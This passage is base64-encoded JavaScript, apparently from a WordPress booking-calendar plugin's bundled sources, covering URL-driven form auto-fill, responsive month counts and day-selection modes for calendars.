B1c2goIHBhcnNlSW50KG9uZV9kYXRlX3N0clsgMiBdKSArICcuJyArIHBhcnNlSW50KG9uZV9kYXRlX3N0clsgMSBdKSArICcuJyArIG9uZV9kYXRlX3N0clsgMCBdICk7XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHJcblx0XHRyZXR1cm4geydkYXRlc19qcyc6IG9yaWdpbmFsX2FycmF5LCAnZGF0ZXNfc3RyJzogb3JpZ2luYWxfYXJyYXl9O1xyXG5cdH1cclxuXHJcbi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxyXG4vKiAgPT0gIEF1dG8gRmlsbCBGaWVsZHMgLyBBdXRvIFNlbGVjdCBEYXRlcyAgPT1cclxuLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ICovXHJcblxyXG5qUXVlcnkoIGRvY3VtZW50ICkucmVhZHkoIGZ1bmN0aW9uICgpe1xyXG5cclxuXHR2YXIgdXJsX3BhcmFtcyA9IG5ldyBVUkxTZWFyY2hQYXJhbXMoIHdpbmRvdy5sb2NhdGlvbi5zZWFyY2ggKTtcclxuXHJcblx0Ly8gRGlzYWJsZSBkYXlzIHNlbGVjdGlvbiAgaW4gY2FsZW5kYXIsICBhZnRlciAgcmVkaXJlY3Rpb24gIGZyb20gIHRoZSBcIlNlYXJjaCByZXN1bHRzIHBhZ2UsICBhZnRlciAgc2VhcmNoICBhdmFpbGFiaWxpdHlcIiBcdFx0XHQvL0ZpeEluOiA4LjguMi4zXHJcblx0aWYgICggJ09uJyAhPSBfd3BiYy5nZXRfb3RoZXJfcGFyYW0oICdpc19lbmFibGVkX2Jvb2tpbmdfc2VhcmNoX3Jlc3VsdHNfZGF5c19zZWxlY3QnICkgKSB7XHJcblx0XHRpZiAoXHJcblx0XHRcdCggdXJsX3BhcmFtcy5oYXMoICd3cGJjX3NlbGVjdF9jaGVja19pbicgKSApICYmXHJcblx0XHRcdCggdXJsX3BhcmFtcy5oYXMoICd3cGJjX3NlbGVjdF9jaGVja19vdXQnICkgKSAmJlxyXG5cdFx0XHQoIHVybF9wYXJhbXMuaGFzKCAnd3BiY19zZWxlY3RfY2FsZW5kYXJfaWQnICkgKVxyXG5cdFx0KXtcclxuXHJcblx0XHRcdHZhciBzZWxlY3RfZGF0ZXNfaW5fY2FsZW5kYXJfaWQgPSBwYXJzZUludCggdXJsX3BhcmFtcy5nZXQoICd3cGJjX3NlbGVjdF9jYWxlbmRhcl9pZCcgKSApO1xyXG5cclxuXHRcdFx0Ly8gRmlyZSBvbiBhbGwgYm9va2luZyBkYXRlcyBsb2FkZWRcclxuXHRcdFx0alF1ZXJ5KCAnYm9keScgKS5vbiggJ3dwYmNfY2FsZW5kYXJfYWp4X19sb2FkZWRfZGF0YScsIGZ1bmN0aW9uICggZXZlbnQsIGxvYWRlZF9yZXNvdXJjZV9pZCApe1xyXG5cclxuXHRcdFx0XHRpZiAoIGxvYWRlZF9yZXNvdXJjZV9pZCA9PSBzZWxlY3RfZGF0ZXNfaW5fY2FsZW5kYXJfaWQgKXtcclxuXHRcdFx0XHRcdHdwYmNfYXV0b19zZWxlY3RfZGF0ZXNfaW5fY2FsZW5kYXIoIHNlbGVjdF9kYXRlc19pbl9jYWxlbmRhcl9pZCwgdXJsX3BhcmFtcy5nZXQoICd3cGJjX3NlbGVjdF9jaGVja19pbicgKSwgdXJsX3BhcmFtcy5nZXQoICd3cGJjX3NlbGVjdF9jaGVja19vdXQnICkgKTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdH0gKTtcclxuXHRcdH1cclxuXHR9XHJcblxyXG5cdGlmICggdXJsX3BhcmFtcy5oYXMoICd3cGJjX2F1dG9fZmlsbCcgKSApe1xyXG5cclxuXHRcdHZhciB3cGJjX2F1dG9fZmlsbF92YWx1ZSA9IHVybF9wYXJhbXMuZ2V0KCAnd3BiY19hdXRvX2ZpbGwnICk7XHJcblxyXG5cdFx0Ly8gQ29udmVydCBiYWNrLiAgICAgU29tZSBzeXN0ZW1zIGRvIG5vdCBsaWtlIHN5bWJvbCAnficgaW4gVVJMLCBzbyAgd2UgbmVlZCB0byByZXBsYWNlIHRvICBzb21lIG90aGVyIHN5bWJvbHNcclxuXHRcdHdwYmNfYXV0b19maWxsX3ZhbHVlID0gd3BiY19hdXRvX2ZpbGxfdmFsdWUucmVwbGFjZUFsbCggJ19eXycsICd+JyApO1xyXG5cclxuXHRcdHdwYmNfYXV0b19maWxsX2Jvb2tpbmdfZmllbGRzKCB3cGJjX2F1dG9fZmlsbF92YWx1ZSApO1xyXG5cdH1cclxuXHJcbn0gKTtcclxuXHJcbi8qKlxyXG4gKiBBdXRvZmlsbCAvIHNlbGVjdCBib29raW5nIGZvcm0gIGZpZWxkcyBieSAgdmFsdWVzIGZyb20gIHRoZSBHRVQgcmVxdWVzdCAgcGFyYW1ldGVyOiA/d3BiY19hdXRvX2ZpbGw9XHJcbiAqXHJcbiAqIEBwYXJhbSBhdXRvX2ZpbGxfc3RyXHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2F1dG9fZmlsbF9ib29raW5nX2ZpZWxkcyggYXV0b19maWxsX3N0ciApe1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly9GaXhJbjogMTAuMC4wLjQ4XHJcblxyXG5cdGlmICggJycgPT0gYXV0b19maWxsX3N0ciApe1xyXG5cdFx0cmV0dXJuO1xyXG5cdH1cclxuXHJcbi8vIGNvbnNvbGUubG9nKCAnV1BCQ19BVVRPX0ZJTExfQk9PS0lOR19GSUVMRFMoIEFVVE9fRklMTF9TVFIgKScsIGF1dG9fZmlsbF9zdHIpO1xyXG5cclxuXHR2YXIgZmllbGRzX2FyciA9IHdwYmNfYXV0b19maWxsX2Jvb2tpbmdfZmllbGRzX19wYXJzZSggYXV0b19maWxsX3N0ciApO1xyXG5cclxuXHRmb3IgKCBsZXQgaSA9IDA7IGkgPCBmaWVsZHNfYXJyLmxlbmd0aDsgaSsrICl7XHJcblx0XHRqUXVlcnkoICdbbmFtZT1cIicgKyBmaWVsZHNfYXJyWyBpIF1bICduYW1lJyBdICsgJ1wiXScgKS52YWwoIGZpZWxkc19hcnJbIGkgXVsgJ3ZhbHVlJyBdICk7XHJcblx0fVxyXG59XHJcblxyXG5cdC8qKlxyXG5cdCAqIFBhcnNlIGRhdGEgZnJvbSAgZ2V0IHBhcmFtZXRlcjpcdD93cGJjX2F1dG9fZmlsbD12aXNpdG9yczIzMV4yfm1heF9jYXBhY2l0eTIzMV4yXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gZGF0YV9zdHIgICAgICA9ICAgJ3Zpc2l0b3JzMjMxXjJ+bWF4X2NhcGFjaXR5MjMxXjInO1xyXG5cdCAqIEByZXR1cm5zIHsqfVxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfYXV0b19maWxsX2Jvb2tpbmdfZmllbGRzX19wYXJzZSggZGF0YV9zdHIgKXtcclxuXHJcblx0XHR2YXIgZmlsdGVyX29wdGlvbnNfYXJyID0gW107XHJcblxyXG5cdFx0dmFyIGRhdGFfYXJyID0gZGF0YV9zdHIuc3BsaXQoICd+JyApO1xyXG5cclxuXHRcdGZvciAoIHZhciBqID0gMDsgaiA8IGRhdGFfYXJyLmxlbmd0aDsgaisrICl7XHJcblxyXG5cdFx0XHR2YXIgbXlfZm9ybV9maWVsZCA9IGRhdGFfYXJyWyBqIF0uc3BsaXQoICdeJyApO1xyXG5cclxuXHRcdFx0dmFyIGZpbHRlcl9uYW1lICA9ICgndW5kZWZpbmVkJyAhPT0gdHlwZW9mIChteV9mb3JtX2ZpZWxkWyAwIF0pKSA/IG15X2Zvcm1fZmllbGRbIDAgXSA6ICcnO1xyXG5cdFx0XHR2YXIgZmlsdGVyX3ZhbHVlID0gKCd1bmRlZmluZWQnICE9PSB0eXBlb2YgKG15X2Zvcm1fZmllbGRbIDEgXSkpID8gbXlfZm9ybV9maWVsZFsgMSBdIDogJyc7XHJcblxyXG5cdFx0XHRmaWx0ZXJfb3B0aW9uc19hcnIucHVzaChcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHR7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnbmFtZScgIDogZmlsdGVyX25hbWUsXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQndmFsdWUnIDogZmlsdGVyX3ZhbHVlXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0fVxyXG5cdFx0XHRcdFx0XHRcdFx0ICAgKTtcclxuXHRcdH1cclxuXHRcdHJldHVybiBmaWx0ZXJfb3B0aW9uc19hcnI7XHJcblx0fVxyXG5cclxuXHQvKipcclxuXHQgKiBQYXJzZSBkYXRhIGZyb20gIGdldCBwYXJhbWV0ZXI6XHQ/c2VhcmNoX2dldF9fY3VzdG9tX3BhcmFtcz0uLi5cclxuXHQgKlxyXG5cdCAqIEBwYXJhbSBkYXRhX3N0ciAgICAgID0gICAndGV4dF5zZWFyY2hfZmllbGRfX2Rpc3BsYXlfY2hlY2tfaW5eMjMuMDUuMjAyNH50ZXh0XnNlYXJjaF9maWVsZF9fZGlzcGxheV9jaGVja19vdXReMjYuMDUuMjAyNH5zZWxlY3Rib3gtb25lXnNlYXJjaF9xdWFudGl0eV4yfnNlbGVjdGJveC1vbmVebG9jYXRpb25eU3BhaW5+c2VsZWN0Ym94LW9uZV5tYXhfY2FwYWNpdHleMn5zZWxlY3Rib3gtb25lXmFtZW5pdHlecGFya2luZ35jaGVja2JveF5zZWFyY2hfZmllbGRfX2V4dGVuZF9zZWFyY2hfZGF5c141fnN1Ym1pdF5eU2VhcmNofmhpZGRlbl5zZWFyY2hfZ2V0X19jaGVja19pbl95bWReMjAyNC0wNS0yM35oaWRkZW5ec2VhcmNoX2dldF9fY2hlY2tfb3V0X3ltZF4yMDI0LTA1LTI2fmhpZGRlbl5zZWFyY2hfZ2V0X190aW1lXn5oaWRkZW5ec2VhcmNoX2dldF9fcXVhbnRpdHleMn5oaWRkZW5ec2VhcmNoX2dldF9fZXh0ZW5kXjV+aGlkZGVuXnNlYXJjaF9nZXRfX3VzZXJzX2lkXn5oaWRkZW5ec2VhcmNoX2dldF9fY3VzdG9tX3BhcmFtc15+JztcclxuXHQgKiBAcmV0dXJucyB7Kn1cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2F1dG9fZmlsbF9zZWFyY2hfZmllbGRzX19wYXJzZSggZGF0YV9zdHIgKXtcclxuXHJcblx0XHR2YXIgZmlsdGVyX29wdGlvbnNfYXJyID0gW107XHJcblxyXG5cdFx0dmFyIGRhdGFfYXJyID0gZGF0YV9zdHIuc3BsaXQoICd+JyApO1xyXG5cclxuXHRcdGZvciAoIHZhciBqID0gMDsgaiA8IGRhdGFfYXJyLmxlbmd0aDsgaisrICl7XHJcblxyXG5cdFx0XHR2YXIgbXlfZm9ybV9maWVsZCA9IGRhdGFfYXJyWyBqIF0uc3BsaXQoICdeJyApO1xyXG5cclxuXHRcdFx0dmFyIGZpbHRlcl90eXBlICA9ICgndW5kZWZpbmVkJyAhPT0gdHlwZW9mIChteV9mb3JtX2ZpZWxkWyAwIF0pKSA/IG15X2Zvcm1fZmllbGRbIDAgXSA6ICcnO1xyXG5cdFx0XHR2YXIgZmlsdGVyX25hbWUgID0gKCd1bmRlZmluZWQnICE9PSB0eXBlb2YgKG15X2Zvcm1fZmllbGRbIDEgXSkpID8gbXlfZm9ybV9maWVsZFsgMSBdIDogJyc7XHJcblx0XHRcdHZhciBmaWx0ZXJfdmFsdWUgPSAoJ3VuZGVmaW5lZCcgIT09IHR5cGVvZiAobXlfZm9ybV9maWVsZFsgMiBdKSkgPyBteV9mb3JtX2ZpZWxkWyAyIF0gOiAnJztcclxuXHJcblx0XHRcdGZpbHRlcl9vcHRpb25zX2Fyci5wdXNoKFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd0eXBlJyAgOiBmaWx0ZXJfdHlwZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCduYW1lJyAgOiBmaWx0ZXJfbmFtZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd2YWx1ZScgOiBmaWx0ZXJfdmFsdWVcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHRcdFx0XHQgICApO1xyXG5cdFx0fVxyXG5cdFx0cmV0dXJuIGZpbHRlcl9vcHRpb25zX2FycjtcclxuXHR9XHJcblxyXG5cclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbi8qICA9PSAgQXV0byBVcGRhdGUgbnVtYmVyIG9mIG1vbnRocyBpbiBjYWxlbmRhcnMgT04gc2NyZWVuIHNpemUgY2hhbmdlZCAgPT1cclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovXHJcblxyXG4vKipcclxuICogQXV0byBVcGRhdGUgTnVtYmVyIG9mIE1vbnRocyBpbiBDYWxlbmRhciwgZS5nLjogIFx0XHRpZiAgICAoIFdJTkRPV19XSURUSCA8PSA3ODJweCApICAgPj4+IFx0TU9OVEhTX05VTUJFUiA9IDFcclxuICogICBFTFNFOiAgbnVtYmVyIG9mIG1vbnRocyBkZWZpbmVkIGluIHNob3J0Y29kZS5cclxuICogQHBhcmFtIHJlc291cmNlX2lkIGludFxyXG4gKlxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19jYWxlbmRhcl9fYXV0b191cGRhdGVfbW9udGhzX251bWJlcl9fb25fcmVzaXplKCByZXNvdXJjZV9pZCApe1xyXG5cclxuXHR2YXIgbG9jYWxfX251bWJlcl9vZl9tb250aHMgPSBwYXJzZUludCggX3dwYmMuY2FsZW5kYXJfX2dldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdjYWxlbmRhcl9udW1iZXJfb2ZfbW9udGhzJyApICk7XHJcblxyXG5cdGlmICggbG9jYWxfX251bWJlcl9vZl9tb250aHMgPiAxICl7XHJcblxyXG5cdFx0aWYgKCBqUXVlcnkoIHdpbmRvdyApLndpZHRoKCkgPD0gNzgyICl7XHJcblx0XHRcdHdwYmNfY2FsZW5kYXJfX3VwZGF0ZV9tb250aHNfbnVtYmVyKCByZXNvdXJjZV9pZCwgMSApO1xyXG5cdFx0fSBlbHNlIHtcclxuXHRcdFx0d3BiY19jYWxlbmRhcl9fdXBkYXRlX21vbnRoc19udW1iZXIoIHJlc291cmNlX2lkLCBsb2NhbF9fbnVtYmVyX29mX21vbnRocyApO1xyXG5cdFx0fVxyXG5cclxuXHR9XHJcbn1cclxuXHJcbi8qKlxyXG4gKiBBdXRvIFVwZGF0ZSBOdW1iZXIgb2YgTW9udGhzIGluICAgQUxMICAgQ2FsZW5kYXJzXHJcbiAqXHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2NhbGVuZGFyc19fYXV0b191cGRhdGVfbW9udGhzX251bWJlcigpe1xyXG5cclxuXHR2YXIgYWxsX2NhbGVuZGFyc19hcnIgPSBfd3BiYy5jYWxlbmRhcnNfYWxsX19nZXQoKTtcclxuXHJcblx0Ly8gVGhpcyBMT09QIFwiZm9yIGluXCIgaXMgR09PRCwgYmVjYXVzZSB3ZSBjaGVjayAgaGVyZSBrZXlzICAgICdjYWxlbmRhcl8nID09PSBjYWxlbmRhcl9pZC5zbGljZSggMCwgOSApXHJcblx0Zm9yICggdmFyIGNhbGVuZGFyX2lkIGluIGFsbF9jYWxlbmRhcnNfYXJyICl7XHJcblx0XHRpZiAoICdjYWxlbmRhcl8nID09PSBjYWxlbmRhcl9pZC5zbGljZSggMCwgOSApICl7XHJcblx0XHRcdHZhciByZXNvdXJjZV9pZCA9IHBhcnNlSW50KCBjYWxlbmRhcl9pZC5zbGljZSggOSApICk7XHRcdFx0Ly8gICdjYWxlbmRhcl8zJyAtPiAzXHJcblx0XHRcdGlmICggcmVzb3VyY2VfaWQgPiAwICl7XHJcblx0XHRcdFx0d3BiY19jYWxlbmRhcl9fYXV0b191cGRhdGVfbW9udGhzX251bWJlcl9fb25fcmVzaXplKCByZXNvdXJjZV9pZCApO1xyXG5cdFx0XHR9XHJcblx0XHR9XHJcblx0fVxyXG59XHJcblxyXG4vKipcclxuICogSWYgYnJvd3NlciB3aW5kb3cgY2hhbmdlZCwgIHRoZW4gIHVwZGF0ZSBudW1iZXIgb2YgbW9udGhzLlxyXG4gKi9cclxualF1ZXJ5KCB3aW5kb3cgKS5vbiggJ3Jlc2l6ZScsIGZ1bmN0aW9uICgpe1xyXG5cdHdwYmNfY2FsZW5kYXJzX19hdXRvX3VwZGF0ZV9tb250aHNfbnVtYmVyKCk7XHJcbn0gKTtcclxuXHJcbi8qKlxyXG4gKiBBdXRvIHVwZGF0ZSBjYWxlbmRhciBudW1iZXIgb2YgbW9udGhzIG9uIGluaXRpYWwgcGFnZSBsb2FkXHJcbiAqL1xyXG5qUXVlcnkoIGRvY3VtZW50ICkucmVhZHkoIGZ1bmN0aW9uICgpe1xyXG5cdHZhciBjbG9zZWRfdGltZXIgPSBzZXRUaW1lb3V0KCBmdW5jdGlvbiAoKXtcclxuXHRcdHdwYmNfY2FsZW5kYXJzX19hdXRvX3VwZGF0ZV9tb250aHNfbnVtYmVyKCk7XHJcblx0fSwgMTAwICk7XHJcbn0pOyIsIi8qKlxyXG4gKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxyXG4gKlx0aW5jbHVkZXMvX19qcy9jYWwvZGF5c19zZWxlY3RfY3VzdG9tLmpzXHJcbiAqID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XHJcbiAqL1xyXG5cclxuLy9GaXhJbjogOS44LjkuMlxyXG5cclxuLyoqXHJcbiAqIFJlLUluaXQgQ2FsZW5kYXIgYW5kIFJlLVJlbmRlciBpdC5cclxuICpcclxuICogQHBhcmFtIHJlc291cmNlX2lkXHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2NhbF9fcmVfaW5pdCggcmVzb3VyY2VfaWQgKXtcclxuXHJcblx0Ly8gUmVtb3ZlIENMQVNTICBmb3IgYWJpbGl0eSB0byByZS1yZW5kZXIgYW5kIHJlaW5pdCBjYWxlbmRhci5cclxuXHRqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZycgKyByZXNvdXJjZV9pZCApLnJlbW92ZUNsYXNzKCAnaGFzRGF0ZXBpY2snICk7XHJcblx0d3BiY19jYWxlbmRhcl9zaG93KCByZXNvdXJjZV9pZCApO1xyXG59XHJcblxyXG5cclxuLyoqXHJcbiAqIFJlLUluaXQgcHJldmlvdXNseSAgc2F2ZWQgZGF5cyBzZWxlY3Rpb24gIHZhcmlhYmxlcy5cclxuICpcclxuICogQHBhcmFtIHJlc291cmNlX2lkXHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2NhbF9kYXlzX3NlbGVjdF9fcmVfaW5pdCggcmVzb3VyY2VfaWQgKXtcclxuXHJcblx0X3dwYmMuY2FsZW5kYXJfX3NldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdzYXZlZF92YXJpYWJsZV9fX2RheXNfc2VsZWN0X2luaXRpYWwnXHJcblx0XHQsIHtcclxuXHRcdFx0J2R5bmFtaWNfX2RheXNfbWluJyAgICAgICAgOiBfd3BiYy5jYWxlbmRhcl9fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2R5bmFtaWNfX2RheXNfbWluJyApLFxyXG5cdFx0XHQnZHluYW1pY19fZGF5c19tYXgnICAgICAgICA6IF93cGJjLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnZHluYW1pY19fZGF5c19tYXgnICksXHJcblx0XHRcdCdkeW5hbWljX19kYXlzX3NwZWNpZmljJyAgIDogX3dwYmMuY2FsZW5kYXJfX2dldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdkeW5hbWljX19kYXlzX3NwZWNpZmljJyApLFxyXG5cdFx0XHQnZHluYW1pY19fd2Vla19kYXlzX19zdGFydCc6IF93cGJjLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnZHluYW1pY19fd2Vla19kYXlzX19zdGFydCcgKSxcclxuXHRcdFx0J2ZpeGVkX19kYXlzX251bScgICAgICAgICAgOiBfd3BiYy5jYWxlbmRhcl9fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2ZpeGVkX19kYXlzX251bScgKSxcclxuXHRcdFx0J2ZpeGVkX193ZWVrX2RheXNfX3N0YXJ0JyAgOiBfd3BiYy5jYWxlbmRhcl9fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2ZpeGVkX193ZWVrX2RheXNfX3N0YXJ0JyApXHJcblx0XHR9XHJcblx0KTtcclxufVxyXG5cclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblxyXG4vKipcclxuICogU2V0IFNpbmdsZSBEYXkgc2VsZWN0aW9uIC0gYWZ0ZXIgcGFnZSBsb2FkXHJcbiAqXHJcbiAqIEBwYXJhbSByZXNvdXJjZV9pZFx0XHRJRCBvZiBib29raW5nIHJlc291cmNlXHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2NhbF9yZWFkeV9kYXlzX3NlbGVjdF9fc2luZ2xlKCByZXNvdXJjZV9pZCApe1xyXG5cclxuXHQvLyBSZS1kZWZpbmUgc2VsZWN0aW9uLCBvbmx5IGFmdGVyIHBhZ2UgbG9hZGVkIHdpdGggYWxsIGluaXQgdmFyc1xyXG5cdGpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKXtcclxuXHJcblx0XHQvLyBXYWl0IDEgc2Vjb25kLCBqdXN0IHRvICBiZSBzdXJlLCB0aGF0IGFsbCBpbml0IHZhcnMgZGVmaW5lZFxyXG5cdFx0c2V0VGltZW91dChmdW5jdGlvbigpe1xyXG5cclxuXHRcdFx0d3BiY19jYWxfZGF5c19zZWxlY3RfX3NpbmdsZSggcmVzb3VyY2VfaWQgKTtcclxuXHJcblx0XHR9LCAxMDAwKTtcclxuXHR9KTtcclxufVxyXG5cclxuLyoqXHJcbiAqIFNldCBTaW5nbGUgRGF5IHNlbGVjdGlvblxyXG4gKiBDYW4gYmUgcnVuIGF0IGFueSAgdGltZSwgIHdoZW4gIGNhbGVuZGFyIGRlZmluZWQgLSB1c2VmdWwgZm9yIGNvbnNvbGUgcnVuLlxyXG4gKlxyXG4gKiBAcGFyYW0gcmVzb3VyY2VfaWRcdFx0SUQgb2YgYm9va2luZyByZXNvdXJjZVxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19jYWxfZGF5c19zZWxlY3RfX3NpbmdsZSggcmVzb3VyY2VfaWQgKXtcclxuXHJcblx0X3dwYmMuY2FsZW5kYXJfX3NldF9wYXJhbWV0ZXJzKCByZXNvdXJjZV9pZCwgeydkYXlzX3NlbGVjdF9tb2RlJzogJ3NpbmdsZSd9ICk7XHJcblxyXG5cdHdwYmNfY2FsX2RheXNfc2VsZWN0X19yZV9pbml0KCByZXNvdXJjZV9pZCApO1xyXG5cdHdwYmNfY2FsX19yZV9pbml0KCByZXNvdXJjZV9pZCApO1xyXG59XHJcblxyXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHJcbi8qKlxyXG4gKiBTZXQgTXVsdGlwbGUgRGF5cyBzZWxlY3Rpb24gIC0gYWZ0ZXIgcGFnZSBsb2FkXHJcbiAqXHJcbiAqIEBwYXJhbSByZXNvdXJjZV9pZFx0XHRJRCBvZiBib29raW5nIHJlc291cmNlXHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2NhbF9yZWFkeV9kYXlzX3NlbGVjdF9fbXVsdGlwbGUoIHJlc291cmNlX2lkICl7XHJcblxyXG5cdC8vIFJlLWRlZmluZSBzZWxlY3Rpb24sIG9ubHkgYWZ0ZXIgcGFnZSBsb2FkZWQgd2l0aCBhbGwgaW5pdCB2YXJzXHJcblx0alF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpe1xyXG5cclxuXHRcdC8vIFdhaXQgMSBzZWNvbmQsIGp1c3QgdG8gIGJlIHN1cmUsIHRoYXQgYWxsIGluaXQgdmFycyBkZWZpbmVkXHJcblx0XHRzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7XHJcblxyXG5cdFx0XHR3cGJjX2NhbF9kYXlzX3NlbGVjdF9fbXVsdGlwbGUoIHJlc291cmNlX2lkICk7XHJcblxyXG5cdFx0fSwgMTAwMCk7XHJcblx0fSk7XHJcbn1cclxuXHJcblxyXG4vKipcclxuICogU2V0IE11bHRpcGxlIERheXMgc2VsZWN0aW9uXHJcbiAqIENhbiBiZSBydW4gYXQgYW55ICB0aW1lLCAgd2hlbiAgY2FsZW5kYXIgZGVmaW5lZCAtIHVzZWZ1bCBmb3IgY29uc29sZSBydW4uXHJcbiAqXHJcbiAqIEBwYXJhbSByZXNvdXJjZV9pZFx0XHRJRCBvZiBib29raW5nIHJlc291cmNlXHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2NhbF9kYXlzX3NlbGVjdF9fbXVsdGlwbGUoIHJlc291cmNlX2lkICl7XHJcblxyXG5cdF93cGJjLmNhbGVuZGFyX19zZXRfcGFyYW1ldGVycyggcmVzb3VyY2VfaWQsIHsnZGF5c19zZWxlY3RfbW9kZSc6ICdtdWx0aXBsZSd9ICk7XHJcblxyXG5cdHdwYmNfY2FsX2RheXNfc2VsZWN0X19yZV9pbml0KCByZXNvdXJjZV9pZCApO1xyXG5cdHdwYmNfY2FsX19yZV9pbml0KCByZXNvdXJjZV9pZCApO1xyXG59XHJcblxyXG5cclxuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblxyXG4vKipcclxuICogU2V0IEZpeGVkIERheXMgc2VsZWN0aW9uIHdpdGggIDEgbW91c2UgY2xpY2sgIC0gYWZ0ZXIgcGFnZSBsb2FkXHJcbiAqXHJcbiAqIEBpbnRlZ2VyIHJlc291cmNlX2lkXHRcdFx0LSAxXHRcdFx0XHQgICAtLSBJRCBvZiBib29raW5nIHJlc291cmNlIChjYWxlbmRhcikgLVxyXG4gKiBAaW50ZWdlciBkYXlzX251bWJlclx0XHRcdC0gM1x0XHRcdFx0ICAgLS0gbnVtYmVyIG9mIGRheXMgdG8gIHNlbGVjdFx0LVxyXG4gKiBAYXJyYXkgd2Vla19kYXlzX19zdGFydFx0LSBbLTFdIHwgWyAxLCA1XSAgIC0tICB7IC0xIC0gQW55IHwgMCAtIFN1LCAgMSAtIE1vLCAgMiAtIFR1LCAzIC0gV2UsIDQgLSBUaCwgNSAtIEZyLCA2IC0gU2F0IH1cclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfY2FsX3JlYWR5X2RheXNfc2VsZWN0X19maXhlZCggcmVzb3VyY2VfaWQsIGRheXNfbnVtYmVyLCB3ZWVrX2RheXNfX3N0YXJ0ID0gWy0xXSApe1xyXG5cclxuXHQvLyBSZS1kZWZpbmUgc2VsZWN0aW9uLCBvbmx5IGFmdGVyIHBhZ2UgbG9hZGVkIHdpdGggYWxsIGluaXQgdmFyc1xyXG5cdGpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKXtcclxuXHJcblx0XHQvLyBXYWl0IDEgc2Vjb25kLCBqdXN0IHRvICBiZSBzdXJlLCB0aGF0IGFsbCBpbml0IHZhcnMgZGVmaW5lZFxyXG5cdFx0c2V0VGltZW91dChmdW5jdGlvbigpe1xyXG5cclxuXHRcdFx0d3BiY19jYWxfZGF5c19zZWxlY3RfX2